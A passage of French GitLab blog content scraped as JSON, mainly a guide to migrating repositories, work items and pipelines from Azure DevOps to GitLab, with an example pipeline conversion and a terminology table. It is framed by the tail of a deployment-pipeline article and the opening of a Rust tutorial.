multi-versions](https://docs.gitlab.com/development/multi_version_compatibility/).\n\n\n## Résultats et impact\n\nNotre infrastructure de déploiement offre des avantages mesurables :\n\n**Pour GitLab**\n\n* Jusqu'à 12 déploiements quotidiens sur GitLab.com\n* Déploiements sans temps d’arrêt au service de millions de développeurs\n* Application de correctifs de sécurité en production en quelques heures au lieu de plusieurs jours\n* Nouvelles fonctionnalités validées en production à grande échelle avant la disponibilité générale\n\n**Pour nos clients**\n\n* Modèles de déploiement éprouvés que vous pouvez adopter pour vos propres applications\n* Fonctionnalités testées en conditions réelles sur la plus grande instance GitLab au monde avant d'atteindre votre environnement\n* Documentation qui reflète les pratiques de production réelles, et non des bonnes pratiques théoriques\n* Fiabilité des procédures de mise à niveau recommandées par GitLab à toute échelle\n\n## Points clés pour les équipes d'ingénierie\n\nLe pipeline de déploiement de GitLab représente un système sophistiqué qui met en jeu la vélocité de déploiement et la fiabilité opérationnelle. Le modèle de déploiement progressif, l'intégration complète des tests et les capacités robustes de retour à la version précédente fournissent une base pour une livraison logicielle fiable à grande échelle.\n\n\nLes équipes d'ingénierie qui implémentent des systèmes similaires doivent avoir les points clés suivants en tête :\n\n\n- **Tests automatisés :** couverture de tests complète tout au long du pipeline de déploiement\n\n- **Déploiement progressif :** déploiements par étapes afin de minimiser les risques et permettre une récupération rapide\n\n- **Intégration de la surveillance :** observabilité complète à travers toutes les étapes de déploiement\n\n- **Réponse aux incidents :** capacités de détection et de résolution rapides pour les problèmes de déploiement\n\n\nL'architecture de GitLab démontre comment des systèmes CI/CD modernes peuvent gérer la complexité de déploiements à grande échelle tout en maintenant la vélocité requise pour un développement logiciel compétitif.\n\n\n## Note importante sur la portée\n\n\nCet article couvre spécifiquement le pipeline de déploiement pour les services qui font partie du **paquet GitLab Omnibus** et du **chart Helm**, soit le monolithe GitLab principal et ses composants étroitement intégrés.\n\n\nCependant, le paysage d'infrastructure de GitLab s'étend au-delà de ce qui est décrit ici. D'autres services, notamment nos **services d'IA** et les services qui pourraient faire partie d'une **étude de faisabilité**, suivent une approche de déploiement différente au moyen de notre plateforme interne Runway.\n\n\nSi vous travaillez avec ces services ou souhaitez en savoir plus, vous pouvez obtenir plus d'informations dans notre [documentation dédiée à Runway](https://docs.runway.gitlab.com).\n\n\nD'autres offres, telles que [GitLab Dedicated](https://about.gitlab.com/fr-fr/dedicated/ \"GitLab Dedicated\"), sont déployées de manière plus alignée avec ce que nous attendons que les clients soient capables de réaliser eux-mêmes au moyen de **GitLab Environment Toolkit**. Si vous souhaitez en savoir plus, consultez le [projet GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit).\n\n\nLes stratégies de déploiement, les considérations architecturales et les complexités de pipeline décrites dans cet article représentent l'approche éprouvée que nous utilisons pour notre plateforme principale, mais comme toute grande organisation d'ingénierie, nous disposons de plusieurs stratégies de déploiement adaptées aux différents types de services et niveaux de maturité.\n\nPour plus de documentation sur le déploiement automatique et nos procédures, vous pouvez consulter les liens ci-dessous :\n- [Déploiements d'ingénierie](https://handbook.gitlab.com/handbook/engineering/deployments-and-releases/deployments/)\n- [Documentation sur les procédures de release](https://gitlab-org.gitlab.io/release/docs/)","Plongez au cœur du pipeline de déploiement de GitLab.com, des déploiements progressifs, des stratégies canari aux migrations de base de données en passant par la compatibilité multi-versions.","Comment déployer la plus grande instance GitLab 12 fois par jour",{"featured":691,"template":843,"slug":1051},"continuously-deploying-the-largest-gitlab-instance",{"content":1053,"config":1066},{"tags":1054,"category":754,"body":1058,"date":1059,"title":1060,"description":1061,"heroImage":1062,"authors":1063},[1055,1056,89,1057],"tutorial","git","migration","La migration d'Azure DevOps vers GitLab peut sembler complexe, mais avec la bonne approche et les bons outils, le processus sera fluide et efficace. Ce guide détaille toutes les étapes pour migrer avec succès vos projets, dépôts et pipelines d'Azure DevOps vers GitLab.\n\n## Vue d'ensemble\n\nGitLab propose à la fois [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/) (maintenu par les [Services professionnels de GitLab](https://about.gitlab.com/fr-fr/professional-services/)) et [une importation intégrée des dépôts Git](https://docs.gitlab.com/user/project/import/repo_by_url/) pour migrer des projets depuis Azure DevOps (ADO). Ces options prennent en charge la migration dépôt par dépôt ou de façon groupée et préservent l'historique des commits [git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\"), les branches et les tags. Elles prennent également en charge des éléments supplémentaires tels que les [wikis](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/ \"GitLab Wiki\"), les éléments de travail, les [variables CI/CD](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/), les images de conteneurs, les paquets, les pipelines et bien plus encore ([matrice de fonctionnalités](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)). Utilisez ce guide pour planifier et exécuter votre migration, puis accomplir les tâches de suivi post-migration.\n\nLes entreprises qui migrent d'Azure DevOps vers GitLab suivent généralement une approche en plusieurs étapes :\n\n* Elles migrent les dépôts d'Azure DevOps vers GitLab à l'aide de Congregate ou de la migration de dépôt intégrée à GitLab.\n* Elles migrent les pipelines d'Azure Pipelines vers GitLab CI/CD.\n* Elles migrent les éléments restants tels que les tableaux, les éléments de travail et les artefacts vers les tickets, registres de paquets et de conteneurs GitLab.\n\nPhases de migration principales :\n\n\n```mermaid\ngraph LR\n    subgraph Prérequis\n        direction TB\n        A[\"Configurer le fournisseur d'identité (IdP)\u003Cbr/>et provisionner les utilisateurs\"]\n        A --> B[\"Configurer les runners et\u003Cbr/>les intégrations tierces\"]\n        B --> I[\"Former les utilisateurs et\u003Cbr/>gérer le changement\"]\n    end\n    \n    subgraph MigrationPhase[\"Phase de migration\"]\n        direction TB\n        C[\"Migrer le code source\"]\n        C --> D[\"Préserver les contributions et\u003Cbr/>l'historique du format\"]\n        D --> E[\"Migrer les éléments de travail,\u003Cbr/>mapper vers \u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan\u003Cbr/>et suivre le travail\"]\n    end\n    \n    subgraph PostMigration[\"Étapes post-migration\"]\n        direction TB\n        F[\"Créer ou traduire les\u003Cbr/>pipelines ADO vers GitLab CI\"]\n        F --> G[\"Migrer les autres actifs,\u003Cbr/>paquets et images de conteneurs\"]\n        G --> H[\"Introduire des améliorations SDLC et de \u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">sécurité\u003C/a>\u003Cbr/>\"]\n    end\n    \n    Prérequis --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n\n## Planifiez votre migration\n\n**Pour planifier votre migration, posez-vous ces questions :**\n\n* Dans quels délais devons-nous achever la migration ?\n* Comprenons-nous ce qui sera migré ?\n* Qui exécutera la migration ?\n* Quelle structure organisationnelle souhaitons-nous mettre en place dans GitLab ?\n* Existe-t-il des contraintes, limitations ou pièges à prendre en compte ?\n\nDéterminez votre calendrier, car il dictera en grande partie votre approche de migration. Identifiez des spécialistes ou des groupes familiarisés avec les plateformes Azure DevOps et GitLab (comme les « Early adopters ») pour faciliter l'adoption et fournir des conseils.\n\n**Faites l'inventaire de ce que vous devez migrer :**\n\n* Le nombre de dépôts, de pull requests et de contributeurs\n* Le nombre et la complexité des éléments de travail et des pipelines\n* Les tailles de dépôts et les relations de dépendance\n* Les intégrations critiques et les exigences relatives aux runners (pools d'agents dotés de capacités spécifiques)\n\nUtilisez l'outil [Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops) des Services professionnels de GitLab pour produire un inventaire complet de toute votre organisation Azure DevOps avec les dépôts, le nombre de pull requests, les listes de contributeurs, le nombre de pipelines, les éléments de travail, les variables CI/CD et bien plus encore. Si vous travaillez avec l'équipe des Services professionnels de GitLab, partagez ce rapport avec votre responsable de mission ou votre architecte technique pour faciliter la planification de la migration.\n\nLe calendrier de migration est principalement déterminé par le nombre de pull requests, la taille des dépôts et le volume de contributions (par exemple, les commentaires dans les pull requests, les éléments de travail, etc.). 1 000 petits dépôts avec un nombre limité de pull requests et de contributeurs peuvent migrer beaucoup plus rapidement qu'un ensemble plus restreint de dépôts contenant des dizaines de milliers de pull requests et des milliers de contributeurs. Utilisez vos données d'inventaire pour estimer l'effort et planifier des tests avant de procéder aux migrations de production.\n\nComparez l'inventaire avec le calendrier souhaité et décidez si vous allez migrer tous les dépôts à la fois ou par lots. Si les équipes ne peuvent pas migrer simultanément, organisez les migrations par lots et échelonnez-les pour vous aligner sur les calendriers des équipes. Par exemple, lors des missions des Services professionnels, nous organisons des migrations par vagues de 200 à 300 projets pour limiter la complexité et respecter les limites de débit des API, à la fois dans [GitLab](https://docs.gitlab.com/security/rate_limits/) et [ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops).\n\nL'[outil d'importation de dépôt intégré](https://docs.gitlab.com/user/project/import/repo_by_url/) de GitLab migre les dépôts Git (commits, branches et tags) un par un. Congregate est conçu pour préserver les pull requests (appelées merge requests dans GitLab), les commentaires et les métadonnées associées lorsque cela est possible ; l'importation simple de dépôt intégrée se concentre uniquement sur les données Git (historique, branches et tags).\n\n**Éléments nécessitant généralement une migration distincte ou une recréation manuelle :**\n\n* Pipelines Azure : créez des pipelines GitLab CI/CD équivalents (consultez la [documentation YAML CI/CD](https://docs.gitlab.com/ci/yaml/) et/ou les [composants CI/CD](https://docs.gitlab.com/ci/components/)). Vous pouvez également envisager d'utiliser la conversion de pipelines basée sur l'IA disponible dans Congregate.\n* Éléments de travail et tableaux : mappez-les vers les tickets, epics et tableaux de tickets de GitLab.\n* Artefacts, images de conteneurs (ACR) : migrez-les vers le registre de paquets ou le registre de conteneurs de GitLab.\n* Hooks de service et intégrations externes : recréez-les dans GitLab.\n* Les [modèles de permissions](https://docs.gitlab.com/user/permissions/) diffèrent entre ADO et GitLab ; examinez et planifiez le mappage des permissions plutôt que de supposer une préservation exacte.\n\nExaminez ce que chaque outil (Congregate vs importation intégrée) va migrer et choisissez celui qui correspond à vos besoins. Dressez une liste de toutes les données ou intégrations qui doivent être migrées ou recréées manuellement.\n\n**Qui exécutera la migration ?**\n\nLes migrations sont généralement exécutées par un propriétaire de groupe GitLab ou un administrateur d'instance, ou par une personne désignée ayant obtenu les permissions nécessaires relatives au groupe/projet de destination. Congregate et les API d'importation GitLab nécessitent des tokens d'authentification valides pour Azure DevOps et GitLab.\n\n* Décidez si un propriétaire/administrateur de groupe effectuera les migrations ou si vous accorderez un accès délégué à une équipe/personne spécifique.\n* Assurez-vous que la personne dédiée à la migration a correctement configuré les tokens d'accès personnels (Azure DevOps et GitLab) avec les portées requises par votre outil de migration choisi (par exemple, les portées api/read_repository et toute exigence spécifique à l'outil).\n* Testez les tokens et les permissions avec une petite migration pilote.\n\n**Remarque :** Congregate exploite la fonctionnalité d'importation basée sur des fichiers pour les migrations ADO et nécessite des permissions d'administrateur d'instance pour s'exécuter ([consultez notre documentation](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)). Si vous migrez vers GitLab.com, envisagez de faire appel aux Services professionnels. Pour plus d'informations, consultez leur [catalogue complet](https://about.gitlab.com/professional-services/catalog/). Un compte non-administrateur ne peut pas préserver l'attribution des contributions !\n\n**Quelle structure organisationnelle souhaitons-nous dans GitLab ?**\n\nBien qu'il soit possible de mapper directement la structure ADO vers la structure GitLab, il est recommandé de rationaliser et de simplifier la structure pendant la migration. Réfléchissez à la façon dont les équipes travailleront dans GitLab et concevez la structure de façon à faciliter la collaboration et la gestion des accès. Voici un exemple de mappage de la structure ADO vers la structure GitLab :\n\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"Groupe principal\"]\n        B[\"Sous-groupe (facultatif)\"]\n        C[\"Projets\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"Organisations\"]\n        G[\"Projets\"]\n        H[\"Dépôts\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\n\nApproche recommandée :\n\n* Mappez chaque organisation ADO à un groupe GitLab (ou un petit ensemble de groupes), et non à de nombreux petits groupes. Évitez de créer un groupe GitLab pour chaque projet d'équipe ADO et utilisez la migration comme une opportunité de rationaliser votre structure GitLab.\n* Utilisez des sous-groupes et des permissions au niveau du projet pour regrouper les dépôts associés.\n* Gérez l'accès à des ensembles de projets en utilisant les groupes et l'appartenance aux groupes (groupes et sous-groupes) de GitLab plutôt qu'un groupe par projet d'équipe.\n* Examinez les [permissions](https://docs.gitlab.com/user/permissions/) de GitLab et utilisez les [liens de groupe SAML](https://docs.gitlab.com/user/group/saml_sso/group_sync/) pour mettre en œuvre un modèle de contrôle d'accès basé sur les rôles (RBAC) d'entreprise pour votre instance GitLab (ou un espace de nommage GitLab.com).\n\n**Tableaux ADO et éléments de travail : état de la migration**\n\nIl est important de comprendre comment les éléments de travail migrent d'ADO vers GitLab Plan (tickets, epics et tableaux).\n\n* Les tableaux et éléments de travail ADO sont mappés vers les tickets, epics et tableaux de tickets de GitLab. Planifiez comment vos workflows et configurations de tableaux seront migrés.\n* Les epics et fonctionnalités ADO deviennent des epics GitLab.\n* Les autres types d'éléments de travail (user stories, tâches, bogues) deviennent des tickets au niveau du projet.\n* La plupart des champs standard sont préservés ; certains champs personnalisés sélectionnés peuvent être migrés lorsqu'ils sont pris en charge.\n* Les relations parent-enfant sont conservées afin que les epics référencent tous les tickets associés.\n* Les liens vers les pull requests sont convertis en liens de merge requests pour maintenir la traçabilité du développement.\n\nExemple d'une migration d'un élément de travail individuel vers un ticket GitLab, avec conservation des champs et relations :\n\n![Exemple d'une migration d'un élément de travail individuel vers un ticket GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\nConseils pour la migration par lots :\n\n* Si vous devez exécuter des migrations par lots, utilisez votre nouvelle structure de groupe/sous-groupe pour définir les lots (par exemple, par organisation ADO ou par domaine produit).\n* Utilisez les rapports d'inventaire pour orienter la sélection des lots et testez chaque lot avec une migration pilote avant d'effectuer la migration complète.\n\n**Migration des pipelines**\n\nCongregate a [récemment introduit](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298) une conversion basée sur l'IA pour les pipelines YAML multi-étapes d'Azure DevOps vers GitLab CI/CD. Cette conversion automatisée fonctionne avant tout pour les pipelines simples avec un fichier unique et est conçue pour fournir un point de départ fonctionnel plutôt qu'un fichier `.gitlab-ci.yml` prêt pour la production. L'outil génère un pipeline GitLab équivalent sur le plan fonctionnel que vous pouvez ensuite affiner et optimiser selon vos besoins.\n\n*  Conversion automatique des pipelines YAML Azure au format `.gitlab-ci.yml`\n* Mieux adapté pour les configurations de pipeline simples avec un fichier unique\n* Fichier passe-partout fourni pour accélérer la migration, pas un artefact de production final\n* Revue et ajustement requis pour les scénarios complexes, les tâches personnalisées ou les exigences de l'entreprise\n* Pas de prise en charge de pipelines de version classiques Azure DevOps, [conversion en YAML multi-étapes](https://learn.microsoft.com/fr-fr/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops) nécessaire\n\nLes propriétaires de dépôts doivent consulter la [documentation GitLab CI/CD](https://docs.gitlab.com/ci/) pour optimiser et améliorer davantage leurs pipelines après la conversion initiale.\n\nExemple de pipelines convertis :\n\n\n```yml \n\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                $(Build.BuildId)\n\n```\n\n```yaml\n\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n\n```\n\n\n**Liste de contrôle finale :**\n\n* Décidez du calendrier et de la stratégie par lots.\n* Produisez un inventaire complet des dépôts, pull requests et contributeurs.\n* Choisissez Congregate ou l'importation intégrée en fonction de la portée (pull requests  et métadonnées vs données Git uniquement).\n* Décidez qui exécutera les migrations et assurez-vous que les tokens/permissions sont configurés.\n* Identifiez les éléments qui doivent être migrés séparément (pipelines, éléments de travail, artefacts et hooks) et planifiez ces migrations.\n* Effectuez des migrations pilotes, validez les résultats, puis passez à la migration complète selon votre calendrier.\n\n## Exécutez vos migrations\n\nUne fois la planification terminée, exécutez les migrations par étapes, en commençant par des migrations d'essai, qui permettent de faire remonter les problèmes spécifiques à l'organisation tôt et de mesurer la durée, de valider les résultats et d'affiner votre approche avant la production.\n\nUtilisez les migrations d'essai pour valider les éléments suivants :\n\n* Succès de la migration d'un dépôt donné et des éléments associés (historique, branches, tags ; ainsi que les merge requests/commentaires si vous utilisez Congregate)\n* Utilisation immédiate de la destination (permissions, runners, variables CI/CD, intégrations)\n* Durée de chaque lot (afin de définir les calendriers et les attentes des parties prenantes)\n\nConseils concernant les temps d'arrêt :\n\n* L'importation Git intégrée de GitLab et Congregate ne nécessitent pas intrinsèquement de temps d'arrêt.\n* Pour les vagues de production, gelez les modifications dans ADO (protections de branches ou lecture seule) pour éviter les commits manqués, les mises à jour de pull requests ou les éléments de travail créés en cours de migration.\n* Les essais n'ont pas besoin d'être gelés et peuvent être exécutés à tout moment.\n\nConseils pour la migration par lots :\n\n* Exécutez des lots d'essai consécutifs pour raccourcir le temps écoulé ; laissez les équipes valider les résultats de manière asynchrone.\n* Utilisez votre structure de groupe/sous-groupe planifiée pour définir les lots et respectez les limites de débit des API.\n\nÉtapes recommandées :\n\n1. Créez une destination de test dans GitLab pour les essais :\n\n* GitLab.com : créez un groupe/espace de nommage dédié (par exemple, my-org-sandbox).\n* Instance auto-gérée : créez un groupe de niveau supérieur ou une instance de test distincte si nécessaire.\n\n2. Préparez l'authentification :\n\n* PAT Azure DevOps avec les portées requises.\n* Token d'accès personnel GitLab avec api et read_repository (plus accès administrateur pour les importations basées sur des fichiers utilisées par Congregate).\n\n3. Exécutez des migrations d'essai :\n\n* Dépôts uniquement : utilisez l'importation intégrée de GitLab (dépôt par URL).\n* Dépôts + pull requests/merge requests et actifs supplémentaires : utilisez Congregate.\n\n4. Suivi post-essai :\n\n* Vérifiez l'historique du dépôt, les branches, les tags ; les merge requests (si elles ont été migrées), les tickets/epics (s'ils ont été migrées), les labels et les relations.\n* Vérifiez les permissions/rôles, les branches protégées, les approbations requises, les runners/tags, les variables/secrets, les intégrations/webhooks.\n* Validez les pipelines (`.gitlab-ci.yml`) ou les pipelines convertis le cas échéant.\n\n5. Demandez aux utilisateurs de valider la fonctionnalité et la fidélité des données.\n6. Résolvez les problèmes découverts lors des essais et mettez à jour vos runbooks.\n7. Réseau et sécurité :\n\n* Si votre destination utilise des listes d'IP autorisées, ajoutez les IP de votre hôte de migration et tous les runners/intégrations requis afin de garantir la réussite des importations.\n\n8. Exécutez les migrations de production par vagues :\n\n* Appliquez des gels de modifications dans ADO pendant chaque vague.\n* Surveillez la progression et les logs ; réessayez ou ajustez les tailles de lots si vous atteignez les limites de débit.\n\n9. Facultatif : supprimez le groupe de l'environnement sandbox ou archivez-le après avoir terminé.\n\n\u003Cfigure class=\"video_container\">\n      \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n    \u003C/figure>\n\n## Références terminologiques pour GitLab et Azure DevOps\n\n| GitLab                                                           | Azure DevOps                                 | Similitudes et différences clés                                                                                                                                          |\n| ---------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Groupe                                                            | Organisation                                 | Espace de nommage principal, adhésion, politiques. Une organisation ADO contient des projets ; un groupe GitLab contient des sous-groupes et des projets.                                                   |\n| Groupe ou sous-groupe                                                | Projet                                      | Conteneur logique, limite de permissions. Un projet ADO contient de nombreux dépôts ; les groupes/sous-groupes GitLab contiennent de nombreux projets.                                                |\n| Projet (inclut un dépôt Git)                                    | Dépôt (à l'intérieur d'un projet)                | Historique Git, branches, tags. Dans GitLab, un « projet » est le dépôt plus les tickets, CI/CD, wiki, etc. Un dépôt par projet.                                                  |\n| Merge Request (MR)                                               | Pull Request (PR)                            | Revue de code, discussions, approbations. Les règles des MR incluent les approbations, les pipelines requis, les propriétaires de code.                                                                     |\n| Branches protégées, règles d'approbation des MR, vérifications de statut             | Politiques des branches                              | Imposent des revues et des vérifications. GitLab combine les protections + les règles d'approbation + les vérifications de statut requises.                                                                    |\n| GitLab CI/CD                                                     | Pipelines Azure                             | Pipelines YAML, étapes/jobs, logs. ADO a également des pipelines UI classiques ; GitLab se concentre sur .gitlab-ci.yml.                                                               |\n| .gitlab-ci.yml                                                   | azure-pipelines.yml                          | Définit les étapes/jobs/déclencheurs. La syntaxe/les fonctionnalités diffèrent ; map job, variables, artefacts et déclencheurs.                                                                   |\n| Runners (partagés/spécifiques)                                        | Agents / pools d'agents                         | Exécutent les jobs sur des machines/conteneurs. Ciblent via des demandes (ADO) ou tags (GitLab). L'enregistrement/la portée diffère.                                                         |\n| Variables CI/CD (projet/groupe/instance), protégées/masquées       | Variables de pipeline, groupes de variables, bibliothèque | Transmettent la configuration/les secrets aux jobs. GitLab prend en charge l'héritage de groupe et les flags de masquage/protection.                                                                          |\n| Intégrations, variables CI/CD, clés de déploiement                       | Connexions de service                          | Authentification externe vers les services/clouds. Map vers les intégrations ou les variables ; des assistants spécifiques au cloud sont disponibles.                                                                 |\n| Environnements et déploiements (environnements protégés)                      | Environnements (avec approbations)                | Suivent les cibles/l'historique de déploiement. Approbations via environnements protégés et jobs manuels dans GitLab.                                                                                 |\n| Versions (tag + notes)                                           | Versions (classiques ou pipelines)              | Notes/artefacts versionnés. La version GitLab est liée aux tags ; les déploiements sont suivis séparément.                                                                               |\n| Artefacts de job                                                    | Artefacts de pipeline                           | Inscrivent de manière permanente les sorties de job. La rétention/l'expiration sont configurées par job ou par projet.                                                                                                  |\n| Registre de paquets (NuGet/npm/Maven/PyPI/Composer, etc.)           | Artefacts Azure (NuGet/npm/Maven, etc.)      | Hébergement de paquets. L'authentification/l'espace de nommage diffère ; migrez par type de paquets.                                                                                                     |\n| Registre de conteneurs GitLab                                        | Registre de conteneurs Azure (ACR) ou autres     | Images OCI. GitLab fournit des registres par projet/groupe.                                                                                                             |\n| Tableaux de tickets                                                     | Tableaux                                       | Affichent les tâches dans des colonnes. Les tableaux GitLab sont pilotés par des labels ; plusieurs tableaux par projet/groupe.                                                                         |\n| Tickets (types/labels), epics                                     | Éléments de travail (user story/bogue/tâche)             | Suivent les unités de travail. Mappent les types/champs ADO vers les labels/champs personnalisés ; epics au niveau du groupe.                                                                              |\n| Epics, tickets parent/enfant                                       | Epics/fonctionnalités                               | Hiérarchie du travail. Le schéma diffère ; utilisation des epics + relations de tickets.                                                                                                   |\n| Jalons et itérations                                        | Chemins d'itération                              | Temps limité. Itérations GitLab (fonctionnalité de groupe) ou jalons par projet/groupe.                                                                                       |\n| Labels (labels à portée)                                           | Chemins de domaine                                   | Catégorisation/propriété. Remplacement des domaines hiérarchiques par des labels à portée.                                                                                              |\n| Wiki de projet/groupe                                               | Wiki de projet                                 | Wiki Markdown. Sauvegardes avec des dépôts dans les deux ; la mise en page/l'authentification diffère légèrement.                                                                                                  |\n| Rapports de test via CI, gestion des exigences/tests, intégrations  | Plans/cas/exécutions de test                        | QA des preuves/de la traçabilité. Pas de correspondance 1:1 avec les plans de test ADO ; utilisent souvent les rapports CI + tickets/exigences.                                                                     |\n| Rôles (propriétaire/chargé de maintenance/développeur/rapporteur/invité) + rôles personnalisés | Niveaux d'accès + permissions granulaires         | Contrôlent la lecture/l'écriture/l'administration. Les modèles diffèrent ; exploitation de l'héritage de groupe et des ressources protégées.                                                                          |\n| Webhooks                                                         | Hooks de service                                | Intégrations basées sur les événements. Les noms/charges utiles d'événements diffèrent ; reconfiguration des points de terminaison.                                                                                        |\n| Recherche avancée                                                  | Recherche de code                                  | Recherche dans le dépôt en texte intégral. GitLab Self-Managed peut nécessiter Elasticsearch/OpenSearch pour les fonctionnalités avancées.","2025-12-08","Migrer d'Azure DevOps vers GitLab :  le guide complet","Découvrez comment migrer d'Azure DevOps vers GitLab à l'aide des outils de migration des Services professionnels de GitLab, de la planification à l'exécution en passant par les tâches de suivi post-migration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png",[1064,1065],"Evgeny Rudinsky","Michael Leopard",{"featured":691,"template":843,"slug":1067},"migration-from-azure-devops-to-gitlab",{"content":1069,"config":1078},{"title":1070,"description":1071,"authors":1072,"tags":1074,"heroImage":1075,"category":754,"date":1076,"body":1077},"Rust : développement sécurisé avec GitLab","Découvrez comment GitLab prend en charge le développement en Rust grâce à ses capacités CI/CD, ses analyses de sécurité, ses intégrations dédiées et ses fonctionnalités d'IA.",[1073],"Fernando Diaz",[244,967,1055],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314674/tct6zf6evw0xgddd2vo3.png","2025-11-06","Rust s'est imposé comme l'un des langages de programmation les plus appréciés grâce à ses performances,\nsa mémoire sécurisée et ses fonctionnalités attractives. Alors que l'adoption de Rust continue de croître,\nde nombreux développeurs recherchent des plateformes CI/CD robustes pour prendre en charge leurs projets Rust.\n\nPour les équipes de développement qui utilisent Rust, l'attrait de GitLab va bien au-delà du simple hébergement de code. La plateforme offre\ndes capacités [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") robustes qui s'alignent parfaitement avec l'accent mis par Rust sur la sécurité, les performances et la fiabilité. GitLab facilite la création de dépôts et l'utilisation de conteneurs [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") prêts à l'emploi\npour exécuter des jobs CI personnalisés. Les équipes peuvent facilement configurer des tests automatisés, des compilations multiplateformes et la génération de documentation. L'approche intégrée de la plateforme DevSecOps résonne avec la philosophie de Rust qui consiste à fournir des outils complets prêts à l'emploi.\n\n## À propos de l'application de démonstration\n\nNous nous intéressons à l'impact des taux hypothécaires sur les paiements mensuels et à la difficulté d'acheter une maison dans le contexte actuel, c'est pourquoi nous avons décidé d'écrire un [calculateur de prêt hypothécaire](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator) en Rust, que nous utiliserons comme exemple tout au long de ce tutoriel. N'hésitez pas à [importer ce projet](https://docs.gitlab.com/user/project/import/repo_by_url/) pour mieux suivre la démonstration.\n\nLe calculateur de prêt hypothécaire aidera les utilisateurs à calculer les paiements mensuels d'un prêt hypothécaire, qui incluent le capital, les intérêts, les taxes foncières, l'assurance, l'assurance du prêt hypothécaire privée et les frais d'association de propriétaires. Il fournit une interface graphique moderne et intuitive au moyen du framework [egui](https://www.egui.rs/), ainsi qu'une interface de ligne de commande pour l'exécuter dans le terminal.\n\n![Interface graphique du calculateur de prêt hypothécaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/l5bjnzqvpoyikuyxpx2a.png)\n\nCette application contient un fichier [`.gitlab-ci.yml`](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator/-/blob/main/.gitlab-ci.yml?ref_type=heads) qui génère un pipeline, lequel va construire, tester, empaqueter, analyser et déployer le logiciel. Nous examinerons cette définition du pipeline en détail dans les sections ci-dessous.\n\n![Pipeline du calculateur de prêt hypothécaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314540/llmsfoaupedhkem0hjqp.png)\n\n## Compilation et test des applications Rust\n\nLe 